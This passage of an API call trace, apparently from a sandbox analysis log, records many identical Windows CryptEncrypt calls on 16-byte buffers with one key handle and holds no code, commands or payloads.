dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.702] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.703] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.704] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.705] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.706] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.707] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: 